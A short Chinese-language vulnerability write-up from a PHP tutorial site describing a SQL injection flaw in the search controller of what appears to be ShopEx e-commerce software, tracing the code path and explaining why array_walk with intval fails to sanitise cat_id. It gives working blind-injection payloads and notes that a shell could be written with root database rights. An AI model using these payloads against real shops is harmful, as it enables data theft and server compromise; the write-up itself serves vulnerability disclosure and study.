来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 在文件\core\shop\controller\ctl.search.phpfunction showCat(){ $objCat = $this-system-loadModel(#39;goods/productCat#39;); $this-pagedata[#39;cat#39;] = $......
在文件\core\shop\controller\ctl.search.php
function showCat(){ $objCat = &$this->system->loadModel('goods/productCat'); $this->pagedata['cat'] = $objCat->get($_POST['cat_id']); $this->__tmpl = 'search/showCat.html'; $this->output(); }
跟进goods/productCat模块的get函数
public function get( $cat_id, $view, $type_id = null ) { if ( !function_exists( "gcat_get" ) ) { require( CORE_INCLUDE_DIR."/core/gcat.get.php" ); } return gcat_get( $cat_id, $view, $type_id, $this ); }
跟到/core/gcat.get.php中gcat_get函数
function gcat_get( $cat_id, $view, $type_id = null, &$object ) { if ( !is_array( $cat_id ) ) { $cat_id = array( 0 + $cat_id ); } else { array_walk( $cat_id, "intval" ); } if ( $type_id ) { $sqlString = "SELECT t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_type t\n WHERE type_id =".intval( $type_id ); } else if ( $cat_id[0] ) { $cat_id = "(".implode( $cat_id, " OR " ).")"; $sqlString = "SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c\n LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id\n WHERE cat_id in ".$cat_id; }
看起来array_walk( $cat_id, "intval" );已经使用函数intval对数组$cat_id过滤掉。但是实际上过滤了但是不会改变数组$cat_id的值
提交:cat_id[0]=3) and 1=2# 输出sql语句:
SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id WHERE cat_id in (3) and 1=2#)
测试不能使用union,只能慢慢猜。如果是root权限的话可以到出shell 提交:cat_id[0]=3)#
提交:cat_id[0]=3) and 1=2#
提交:cat_id[0]=3) and 1=1#
修复方案:
过滤吧 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com